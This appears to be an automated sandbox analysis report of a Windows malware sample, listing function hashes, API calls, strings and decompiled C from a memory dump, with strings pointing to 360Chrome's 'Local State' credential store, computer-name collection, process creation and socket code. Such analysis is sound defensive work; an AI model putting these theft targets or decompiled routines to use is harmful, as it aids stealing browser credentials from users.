Opcode Fuzzy Hash: e2600f1d5f8662e9c392fe55e0e07e3544c7b57ce058911e094c9610cb459c02
Instruction Fuzzy Hash: 9B213EB05493459ED310AF65C5843AFBBE0EF80348F01883EE8E887341D77C8589DB4A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B105, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

fopen.MSVCRT ref: 0040B145
fread.MSVCRT ref: 0040B16F
fclose.MSVCRT ref: 0040B1E2

Strings

Default=, xrefs: 0040B180

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: fclosefopenfread
String ID: Default=
API String ID: 2679521937-1704153231
Opcode ID: cef17687d92d9b4a792fbe74fccce4ea79b1ff820fbda775a6627d7b36aa9cc9
Instruction ID: 8e46bd977f0b38dff8dfac3cdc2039ee507d5f54b24c6ee619e1854a5548e2c2
Opcode Fuzzy Hash: cef17687d92d9b4a792fbe74fccce4ea79b1ff820fbda775a6627d7b36aa9cc9
Instruction Fuzzy Hash: 85213EB05493059ED320AF65C59879FBBE0EF84358F00882EE8D887251D77C8588DB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00414470, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61processthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Part of subcall function 00407E8C: fopen.MSVCRT ref: 00407E9F
Part of subcall function 00407E8C: fread.MSVCRT ref: 00407EC7
Part of subcall function 00407E8C: fclose.MSVCRT ref: 00407ED4

CreateProcessA.KERNEL32 ref: 0041451B

Part of subcall function 00408AF3: ReleaseMutex.KERNEL32(?,?,?,?,?,?,0041452C), ref: 00408B02
Part of subcall function 00408AF3: CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,0041452C), ref: 00408B10

Part of subcall function 00405999: shutdown.WS2_32 ref: 004059B6
Part of subcall function 00405999: closesocket.WS2_32(00000000), ref: 004059C2

ResumeThread.KERNEL32 ref: 00414542
ExitProcess.KERNEL32 ref: 00414552

Strings

D, xrefs: 004144A8

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Process$AttributesByteCharCloseCreateExitFileHandleMultiMutexReleaseResumeThreadWideclosesocketfclosefopenfreadshutdown
String ID: D
API String ID: 3751753202-2746444292
Opcode ID: c255f5552f9746074c148be93691e2b4ce4c54ed22f108db594dde55dd1560b6
Instruction ID: 067f5d9187edf2fa4930e283bd60014924ca834b1665164d65a9df55d347b5cc
Opcode Fuzzy Hash: c255f5552f9746074c148be93691e2b4ce4c54ed22f108db594dde55dd1560b6
Instruction Fuzzy Hash: C721B0B05087419AD710AF66C59976FBBE0BF80348F01881EE5D85B382D7BD8489CF9B

Uniqueness

Uniqueness Score: -1.00%

Function 00401261, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00401268
getenv.MSVCRT ref: 00401329

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 00407F08: _beginthreadex.MSVCRT ref: 00407F3A
Part of subcall function 00407F08: CloseHandle.KERNEL32 ref: 00407F48

Strings

TEMP, xrefs: 00401322
%6\%6.dfd, xrefs: 0040132E

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseHandle_beginthreadex_vsnprintfgetenvmalloc
String ID: %6\%6.dfd$TEMP
API String ID: 32720251-3655689890
Opcode ID: 667e9834810fc7f26c4f5814988b60aa762ffe94d6d13ea4869a8cf1b9f5be51
Instruction ID: 095e309c488b84dd6e8baa1bc898f34efff603a6fbd504479eb7308a9430591a
Opcode Fuzzy Hash: 667e9834810fc7f26c4f5814988b60aa762ffe94d6d13ea4869a8cf1b9f5be51
Instruction Fuzzy Hash: 78218EF05087419FD310AF6AD18839AFBE0BF84358F00892EE1E987291D7BD95899F46

Uniqueness

Uniqueness Score: -1.00%

Function 004134FD, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0041352F

Part of subcall function 00407F7A: LoadLibraryA.KERNEL32 ref: 00407F84

Part of subcall function 00407F8E: GetProcAddress.KERNEL32 ref: 00407FA0

Strings

@, xrefs: 0041356B
EiWVCiFdlW0ZM5C5Q6jf, xrefs: 0041353D
kernel32.dll, xrefs: 00413549

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressCountLibraryLoadProcTick
String ID: @$EiWVCiFdlW0ZM5C5Q6jf$kernel32.dll
API String ID: 4181504871-1834100647
Opcode ID: f843426d8cf16e237edde9e46910649e4e13414e0e40c15f9c6a36014b23e474
Instruction ID: fa7b763c6c8024e7a4c60085cb5de07acdd8405275a80474374d9d94c1c8e87d
Opcode Fuzzy Hash: f843426d8cf16e237edde9e46910649e4e13414e0e40c15f9c6a36014b23e474
Instruction Fuzzy Hash: DB1193B05083118BDB00EF25D59471BBBE1BF88708F04895EE8888F34AD779D949CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00413040, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

GetComputerNameW.KERNEL32 ref: 0041307E
WideCharToMultiByte.KERNEL32 ref: 004130C0

Strings

@, xrefs: 00413099
localhost, xrefs: 004130CE

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ByteCharComputerMultiNameWide
String ID: @$localhost
API String ID: 4013585866-2209486628
Opcode ID: 75619ece23197e83586e66bb1f33d7f654c3ffc02ea5a6723a4e8ea35ab2e647
Instruction ID: 7c038244dc2cd29586230534efa33881c9182a2f6df97460e627dabf8a714e70
Opcode Fuzzy Hash: 75619ece23197e83586e66bb1f33d7f654c3ffc02ea5a6723a4e8ea35ab2e647
Instruction Fuzzy Hash: 4F01C5B0409301AEE320AF26D99476BFBE4EF94714F10891EF49847291D3B985898B87

Uniqueness

Uniqueness Score: -1.00%

Function 0040F772, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F78C

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

getenv.MSVCRT ref: 0040F7B4

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Strings

LOCALAPPDATA, xrefs: 0040F77E, 0040F7AD
%s\360Chrome\Chrome\User Data\Local State, xrefs: 0040F7B9

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: getenv$AttributesByteCharFileMultiWide_vsnprintf
String ID: %s\360Chrome\Chrome\User Data\Local State$LOCALAPPDATA
API String ID: 2228561779-3219154590
Opcode ID: 6a4f4bd4eafef27ad3c46499d4e109de9b0001956a83309dcbd02ed961f098a6
Instruction ID: 2c5e5b9d49c5aa29139184a809ee8efa52bd93eb3b3edc2fc8ee47fb8fc21b8d
Opcode Fuzzy Hash: 6a4f4bd4eafef27ad3c46499d4e109de9b0001956a83309dcbd02ed961f098a6
Instruction Fuzzy Hash: B4011AB4408311AAD710BF22E54515EBBE0AF80758F41C83FE4D86B282C77C8599CF5B

Uniqueness

Uniqueness Score: -1.00%

Function 004201D0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 00420225
_assert.MSVCRT ref: 0042024A

Strings

ctx->auth_size % GCM_BLOCK_SIZE == 0, xrefs: 0042021E
ctx->data_size == 0, xrefs: 00420243

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _assert
String ID: ctx->auth_size % GCM_BLOCK_SIZE == 0$ctx->data_size == 0
API String ID: 1222420520-835260546
Opcode ID: bb76f139360f95cd36ca910dd09579b82c5dd211b2994ce31ac56cc3e2eb7b57
Instruction ID: 99285198ce319d174a993f5890d61c41e10ac662540de5e8efd0e2b11381df18
Opcode Fuzzy Hash: bb76f139360f95cd36ca910dd09579b82c5dd211b2994ce31ac56cc3e2eb7b57
Instruction Fuzzy Hash: 30011A70209310CFC740DF14E4C451A7BF5BFC4358F819A9EE8884B256C378E985DB86

Uniqueness

Uniqueness Score: -1.00%

Function 0041FB61, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 24COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 0041FBC9

Strings

!(length % AES_BLOCK_SIZE), xrefs: 0041FBC2
../nettle-3.5.1/aes-encrypt.c, xrefs: 0041FBBA
Q, xrefs: 0041FBB2

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _assert
String ID: !(length % AES_BLOCK_SIZE)$../nettle-3.5.1/aes-encrypt.c$Q
API String ID: 1222420520-736227025
Opcode ID: 0235047f58187a39db11c12d6489f25d2d41f666815d55729f68459e28030352
Instruction ID: 7f8f61c8df23ecb70e93ec12a44af74537505c36dafaf849a96d6b3a763fb17d
Opcode Fuzzy Hash: 0235047f58187a39db11c12d6489f25d2d41f666815d55729f68459e28030352
Instruction Fuzzy Hash: 07F0D4B060A701AFC740DF24E59461ABBF0BB88354F809D1EF8C887341D378A8889F4B

Uniqueness

Uniqueness Score: -1.00%

Function 0041FBD1, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 24COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 0041FC39

Strings

[, xrefs: 0041FC22
!(length % AES_BLOCK_SIZE), xrefs: 0041FC32
../nettle-3.5.1/aes-encrypt.c, xrefs: 0041FC2A

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _assert
String ID: !(length % AES_BLOCK_SIZE)$../nettle-3.5.1/aes-encrypt.c$[
API String ID: 1222420520-3409184719
Opcode ID: 343805436fce073f30f9e3772ad0ce55764f1fd40facfd7e41a048709e32d194
Instruction ID: 7522fd779a263ea223225e18d5767f15b5394ac0b58d2b9c3ee1adf97f9dd600
Opcode Fuzzy Hash: 343805436fce073f30f9e3772ad0ce55764f1fd40facfd7e41a048709e32d194
Instruction Fuzzy Hash: 21F0DAB060E301AFC750DF24E58461ABBE0BB84354F809C1EF4C847341D378A8859F47

Uniqueness

Uniqueness Score: -1.00%

Function 0041FB00, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 23COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 0041FB59

Strings

!(length % AES_BLOCK_SIZE), xrefs: 0041FB52
G, xrefs: 0041FB42
../nettle-3.5.1/aes-encrypt.c, xrefs: 0041FB4A

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _assert
String ID: !(length % AES_BLOCK_SIZE)$../nettle-3.5.1/aes-encrypt.c$G
API String ID: 1222420520-3744816000
Opcode ID: b3a8f99880f7f9beb1147c89cebaa8c77fdad5f330c299cffaa506392bb9eab4
Instruction ID: b6f19dba06b4df6abe6717679b5f2b9c21e239fc99e3fa564f48b7d25df68e10
Opcode Fuzzy Hash: b3a8f99880f7f9beb1147c89cebaa8c77fdad5f330c299cffaa506392bb9eab4
Instruction Fuzzy Hash: 6FF0D4B060A301AFC740DF24E18461EBBF0BB88354F809C1EF8C887341D37898849B47

Uniqueness

Uniqueness Score: -1.00%

Function 0041ED42, Relevance: 6.1, APIs: 4, Instructions: 66
fileCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E0041ED42(void* __eflags, char _a12, signed int _a18, intOrPtr _a40, char _a48, signed int _a65616, signed int _a65620) {
				signed int _v4;
				int _v8;
				void* _v12;
				signed int _t24;
				signed int _t27;
				signed int _t28;
				int _t31;
				signed int _t34;
				signed int _t35;
				void* _t40;
				void* _t45;
				signed int _t46;
				signed int _t47;
				void* _t48;
				signed int* _t49;

				_t24 = E0041F3F0(0x1004c);
				_t49 = _t48 - _t24;
				_t34 = _a65616;
				_t46 = _a65620;
				if(_t34 != 0) {
					_t45 =  &_a48;
					_t40 =  &_a12;
					_t24 = memset(_t40, memset(_t45, 0, 0x4000 << 2), 9 << 2);
					_t49 =  &(_t49[6]);
					_v12 = _t40;
					 *_t49 = _t46;
					L0041F7B4();
					if(_t24 != 0) {
						goto L1;
					} else {
						_t28 = _a18;
						if((_t28 & 0x00000080) == 0) {
							 *(_t34 + 0x4e008) =  *(_t34 + 0x4e008) | 0x00000001;
						}
						 *(_t34 + 0x4e008) =  *(_t34 + 0x4e008) | _t28 << 0x00000010;
						 *((intOrPtr*)(_t34 + 0x4e00c)) = _a40;
						 *_t49 = _t46;
						_v12 = 0x424983;
						_t24 = fopen(??, ??);
						_t47 = _t24;
						if(_t24 == 0) {
							goto L1;
						} else {
							while(1) {
								_v4 = _t47;
								_v8 = 0x10000;
								_v12 = 1;
								 *_t49 = _t45;
								_t31 = fread(??, ??, ??, ??);
								if(_t31 == 0) {
									break;
								}
								_v8 = _t31;
								_v12 = _t45;
								 *_t49 = _t34;
								if(E0041EC81(_t31) >= 0) {
									continue;
								} else {
									_t35 = _t34 | 0xffffffff;
								}
								L10:
								 *_t49 = _t47;
								fclose(??);
								_t27 = _t35;
								goto L11;
							}
							_t35 = 0;
							goto L10;
						}
					}
				} else {
					L1:
					_t27 = _t24 | 0xffffffff;
				}
				L11:
				return _t27;
			}

0x0041ed4b
0x0041ed50
0x0041ed52
0x0041ed59
0x0041ed62
0x0041ed6c
0x0041ed70
0x0041ed86
0x0041ed86
0x0041ed88
0x0041ed8c
0x0041ed8f
0x0041ed96
0x00000000
0x0041ed98
0x0041ed98
0x0041ed9f
0x0041eda1
0x0041eda1
0x0041edab
0x0041edb5
0x0041edbb
0x0041edbe
0x0041edc6
0x0041edcd
0x0041edcf
0x00000000
0x0041edd1
0x0041edd1
0x0041edd1
0x0041edd5
0x0041eddd
0x0041ede5
0x0041ede8
0x0041edef
0x00000000
0x00000000
0x0041edf1
0x0041edf5
0x0041edf9
0x0041ee03
0x00000000
0x0041ee05
0x0041ee05
0x0041ee05
0x0041ee0c
0x0041ee0c
0x0041ee0f
0x0041ee14
0x00000000
0x0041ee14
0x0041ee0a
0x00000000
0x0041ee0a
0x0041edcf
0x0041ed64
0x0041ed64
0x0041ed64
0x0041ed64
0x0041ee16
0x0041ee20

APIs

_stat.MSVCRT ref: 0041ED8F
fopen.MSVCRT ref: 0041EDC6
fread.MSVCRT ref: 0041EDE8
fclose.MSVCRT ref: 0041EE0F

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _statfclosefopenfread
String ID:
API String ID: 804335959-0
Opcode ID: e49dcea1558de36b6d26133dc736d865fdae275fbb071cb261454f55feb63192
Instruction ID: c86c0b954f8f68680828bf3fb845d0a681b1f2494741e4076b806c5f4ecabbb7
Opcode Fuzzy Hash: e49dcea1558de36b6d26133dc736d865fdae275fbb071cb261454f55feb63192
Instruction Fuzzy Hash: 68216F746083058ED760AF2AD48039BBBE4EF88754F00893EEDACC7381D67984C58B5A

Uniqueness

Uniqueness Score: -1.00%

Function 00405214, Relevance: 6.1, APIs: 4, Instructions: 59
networkCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405214(char _a4, signed int _a8) {
				char _v24;
				char _v25;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				char _v60;
				intOrPtr _v64;
				char _v68;
				intOrPtr _v72;
				char _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				char* _t35;
				char* _t36;
				char _t37;
				char* _t38;
				signed int _t39;

				_t41 =  &_v64;
				_t39 = _a8;
				_t37 = _a4;
				if((_t39 & 0x00000001) != 0) {
					_t35 =  &_v24;
					_v72 = 0x8004667e;
					_v76 = _t37;
					_v24 = 1;
					_v68 = _t35;
					L0041F91C();
					_t41 =  &_v64 - 0xc;
				}
				if((_t39 & 0x00000002) != 0) {
					_t38 =  &_v25;
					_v60 = 1;
					_v68 = 8;
					_v72 = 0xffff;
					_v76 = _t37;
					_v64 = _t38;
					_v25 = 1;
					L0041F8F4();
					_t41 = _t41 - 0x14;
					if(_t35 == 0) {
						_t35 =  &_v44;
						_v64 = 0;
						_v68 = 0;
						_v72 = _t38;
						_v76 = 0;
						_v80 = 0;
						_v84 = 0xc;
						_v88 = _t35;
						_v92 = 0x98000004;
						 *_t41 = _t37;
						_v44 = 1;
						_v40 = 0x2bf20;
						_v36 = 0x1388;
						L0041F95C();
						_t41 = _t41 - 0x24;
					}
				}
				if((_t39 & 0x00000004) == 0) {
					return _t35;
				} else {
					_t36 =  &_v24;
					_v60 = 1;
					_v68 = 1;
					_v72 = 6;
					_v76 = _t37;
					_v64 = _t36;
					_v24 = 1;
					L0041F8F4();
					return _t36;
				}
			}

0x00405217
0x0040521a
0x0040521e
0x00405228
0x0040522a
0x0040522e
0x00405236
0x00405239
0x00405241
0x00405245
0x0040524a
0x0040524a
0x00405253
0x00405259
0x0040525d
0x00405265
0x0040526d
0x00405275
0x00405278
0x0040527c
0x00405281
0x00405286
0x0040528b
0x0040528d
0x00405291
0x00405299
0x004052a1
0x004052a5
0x004052ad
0x004052b5
0x004052bd
0x004052c1
0x004052c9
0x004052cc
0x004052d4
0x004052dc
0x004052e4
0x004052e9
0x004052e9
0x0040528b
0x004052ef
0x00405327
0x004052f1
0x004052f1
0x004052f5
0x004052fd
0x00405305
0x0040530d
0x00405310
0x00405314
0x00405319
0x00000000
0x0040531e

APIs

ioctlsocket.WS2_32 ref: 00405245
setsockopt.WS2_32 ref: 00405281
WSAIoctl.WS2_32 ref: 004052E4
setsockopt.WS2_32 ref: 00405319

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: setsockopt$Ioctlioctlsocket
String ID:
API String ID: 1196899187-0
Opcode ID: 4a1ab85cae5512115fe274dc8068c955a42f4f93045ec413a8af8eb2ccab6f2b
Instruction ID: 20f5eab9ee5944eb72183824eaa05ad15d37d7ba85e5585d89411a70b12a9a58
Opcode Fuzzy Hash: 4a1ab85cae5512115fe274dc8068c955a42f4f93045ec413a8af8eb2ccab6f2b
Instruction Fuzzy Hash: 0221A7B1409741AED340EF59D18835BFFE0AF84748F80992EF89457251D3B999888F87

Uniqueness

Uniqueness Score: -1.00%

Function 0041C5A7, Relevance: 6.1, APIs: 4, Instructions: 55
fileCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E0041C5A7(signed int* _a4, struct _IO_FILE* _a8, intOrPtr _a12) {
				intOrPtr _v36;
				intOrPtr _v40;
				struct _IO_FILE* _t13;
				int _t15;
				void* _t19;
				void* _t22;
				signed int* _t24;
				struct _IO_FILE* _t26;
				void* _t27;
				signed int _t28;
				void* _t30;
				struct _IO_FILE** _t31;

				_t27 = 0;
				_t31 = _t30 - 0x1c;
				_v40 = 0x424983;
				_t24 = _a4;
				 *_t31 = _a8;
				_t13 = fopen(??, ??);
				if(_t13 == 0) {
					L8:
					return _t27;
				}
				_v36 = 2;
				_v40 = 0;
				_t26 = _t13;
				 *_t31 = _t13;
				_t15 = fseek(??, ??, ??);
				 *_t31 = _t26;
				if(_t15 != 0) {
					L4:
					fclose();
					goto L8;
				}
				_t28 = ftell();
				_t19 = E0041606C(_t24);
				_t27 = _t19;
				if(_t19 != 0) {
					_t24[0xe] = E004161B5;
					_t24[0x11] = _t24;
					 *(_t24[0x12] + 0x3c) = _t26;
					 *_t24 = _t28;
					_t24[1] = _t28 >> 0x1f;
					_t22 = E00416619(_t24, _a12, __eflags);
					__eflags = _t22;
					_t27 = _t22;
					if(_t22 != 0) {
						_t27 = 1;
					} else {
						 *_t31 = _t24;
						E0041C416();
					}
					goto L8;
				}
				 *_t31 = _t26;
				goto L4;
			}

0x0041c5ab
0x0041c5ad
0x0041c5b4
0x0041c5bc
0x0041c5c0
0x0041c5c3
0x0041c5ca
0x0041c643
0x0041c64c
0x0041c64c
0x0041c5cc
0x0041c5d4
0x0041c5dc
0x0041c5de
0x0041c5e1
0x0041c5e8
0x0041c5eb
0x0041c604
0x0041c604
0x00000000
0x0041c604
0x0041c5f2
0x0041c5f6
0x0041c5fd
0x0041c5ff
0x0041c612
0x0041c619
0x0041c61c
0x0041c61f
0x0041c624
0x0041c629
0x0041c62e
0x0041c630
0x0041c632
0x0041c63e
0x0041c634
0x0041c634
0x0041c637
0x0041c637
0x00000000
0x0041c632
0x0041c601
0x00000000

APIs

fopen.MSVCRT ref: 0041C5C3
fseek.MSVCRT ref: 0041C5E1
ftell.MSVCRT ref: 0041C5ED
fclose.MSVCRT ref: 0041C604

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: fclosefopenfseekftell
String ID:
API String ID: 256789196-0
Opcode ID: fbcd7f8cca2f724e403eeb8c4da471501aa33c75eb168f4f61c33f7ffa932136
Instruction ID: bcb064d2d33ab52115c011aa6cdc5be578be0ddba1a55773f7ee6e5998b39b7e
Opcode Fuzzy Hash: fbcd7f8cca2f724e403eeb8c4da471501aa33c75eb168f4f61c33f7ffa932136
Instruction Fuzzy Hash: F211A9B09083008FC710BF2AC9C439ABAE4EF44358F45547EE884CB306E779C8858B9A

Uniqueness

Uniqueness Score: -1.00%

Function 00407FC3, Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

fgetpos.MSVCRT ref: 00407FE9
fflush.MSVCRT ref: 00408009
_filelengthi64.MSVCRT ref: 00408014
fsetpos.MSVCRT ref: 00408036

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _filelengthi64fflushfgetposfsetpos
String ID:
API String ID: 3378604764-0
Opcode ID: 5f1deec734a469d50075acdb6f3c09bf06809ba4cbfcd9c78d95f8229e1196b0
Instruction ID: 7f20a3f538c1e1996cb4a193f62903fdb6249973c6c490497f882466bb09f182
Opcode Fuzzy Hash: 5f1deec734a469d50075acdb6f3c09bf06809ba4cbfcd9c78d95f8229e1196b0
Instruction Fuzzy Hash: 5A010CB18087128BC710EF25958045BBBE4BE94364F51093FF8D0D3381E638D8899B97

Uniqueness

Uniqueness Score: -1.00%

Function 00406E04, Relevance: 6.0, APIs: 4, Instructions: 32fileCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00406E3D
GetFileAttributesW.KERNEL32 ref: 00406E48
SetFileAttributesW.KERNEL32 ref: 00406E62
DeleteFileW.KERNEL32 ref: 00406E6C

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$Attributes$ByteCharDeleteMultiWide
String ID:
API String ID: 2001991581-0
Opcode ID: fd15abdbbf5f5b452ff235cde9c5fc4b4f27e3640605faa86648c091e64618a3
Instruction ID: e573b4bf2d7f4f29660dffdf4fc2874ff46e14c0fdf453928647ba00820039fc
Opcode Fuzzy Hash: fd15abdbbf5f5b452ff235cde9c5fc4b4f27e3640605faa86648c091e64618a3
Instruction Fuzzy Hash: E1F062F00093029AD710BF39C88525FBFE4AF40354F40892EF5D456282D73C85998B57

Uniqueness

Uniqueness Score: -1.00%

Function 004049CF, Relevance: 5.5, APIs: 4, Instructions: 475COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00404A2F
malloc.MSVCRT ref: 00404A5E
malloc.MSVCRT ref: 00404BBE
malloc.MSVCRT ref: 00404C36

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 4275eca61013efc150f39e41d15500db4927c896ceb4f6f94b199140b28ff20a
Instruction ID: 218a957fe30f9a24676f57bd5ffca8317da6b6ab60db8c5874b423959f2b8a8b
Opcode Fuzzy Hash: 4275eca61013efc150f39e41d15500db4927c896ceb4f6f94b199140b28ff20a
Instruction Fuzzy Hash: F01260B05087608EC711AF62D84523ABBE0AFD5308F45497EE6D49B392EB7C8581CF5E

Uniqueness

Uniqueness Score: -1.00%

Function 0041DD3F, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E0041DD3F() {
				unsigned int _t61;
				unsigned int _t64;
				intOrPtr _t73;
				intOrPtr* _t84;
				unsigned short _t89;
				intOrPtr _t99;
				intOrPtr* _t106;
				intOrPtr* _t107;
				intOrPtr* _t108;

				_t106 =  *((intOrPtr*)(_t107 + 0x80));
				if(_t106 != 0) {
					_t84 =  *((intOrPtr*)(_t106 + 0x48));
					if(_t84 == 0 ||  *((intOrPtr*)(_t106 + 0x14)) != 2) {
						goto L1;
					} else {
						_t61 =  *(_t106 + 0x10);
						if(_t61 > 0xffff) {
							goto L1;
						}
						 *((intOrPtr*)(_t107 + 0x34)) = 0;
						 *((intOrPtr*)(_t107 + 0x2c)) =  *((intOrPtr*)(_t106 + 4));
						_t99 =  *((intOrPtr*)(_t84 + 4));
						 *((intOrPtr*)(_t107 + 0x28)) =  *_t106;
						 *((intOrPtr*)(_t107 + 0x30)) = _t99;
						 *((intOrPtr*)(_t107 + 0x3c)) = _t99;
						asm("adc edi, 0x0");
						asm("adc ecx, [esp+0x34]");
						if( *((intOrPtr*)(_t107 + 0x2c)) > 0) {
							goto L1;
						}
						if(_t61 == 0) {
							 *((intOrPtr*)(_t107 + 0x30)) = 0;
							 *((intOrPtr*)(_t107 + 0x34)) = 0;
							 *((intOrPtr*)(_t107 + 0x28)) = 0;
							 *((intOrPtr*)(_t107 + 0x2c)) = 0;
							L10:
							memset(_t107 + 0x4a, 0, 0x16 << 0);
							_t108 = _t107 + 0xc;
							_t64 =  *(_t106 + 0x10);
							 *((char*)(_t108 + 0x4a)) = 0x50;
							 *((char*)(_t108 + 0x4b)) = 0x4b;
							 *((char*)(_t108 + 0x4c)) = 5;
							 *((char*)(_t108 + 0x4d)) = 6;
							 *(_t108 + 0x52) = _t64;
							 *(_t108 + 0x54) = _t64;
							_t89 = _t64 >> 8;
							 *(_t108 + 0x53) = _t89;
							 *(_t108 + 0x55) = _t89;
							E00414900(_t108 + 0x56,  *((intOrPtr*)(_t107 + 0x30)));
							E00414900(_t108 + 0x5a,  *((intOrPtr*)(_t108 + 0x28)));
							 *((intOrPtr*)(_t108 + 0x10)) = 0x16;
							 *((intOrPtr*)(_t108 + 0xc)) = _t108 + 0x4a;
							 *((intOrPtr*)(_t108 + 4)) =  *_t106;
							 *((intOrPtr*)(_t108 + 8)) =  *((intOrPtr*)(_t106 + 4));
							 *_t108 =  *((intOrPtr*)(_t106 + 0x44));
							if( *((intOrPtr*)(_t106 + 0x3c))() != 0x16) {
								goto L1;
							}
							_t73 =  *((intOrPtr*)(_t84 + 0x3c));
							if(_t73 != 0) {
								 *_t108 = _t73;
								if(fflush(??) + 1 != 0) {
									goto L12;
								}
								goto L1;
							}
							L12:
							 *_t106 =  *_t106 + 0x16;
							 *((intOrPtr*)(_t106 + 0x14)) = 3;
							asm("adc dword [ebp+0x4], 0x0");
							return 1;
						}
						 *((intOrPtr*)(_t106 + 8)) =  *((intOrPtr*)(_t107 + 0x28));
						 *((intOrPtr*)(_t106 + 0xc)) =  *((intOrPtr*)(_t107 + 0x2c));
						 *((intOrPtr*)(_t107 + 0x10)) =  *((intOrPtr*)(_t107 + 0x3c));
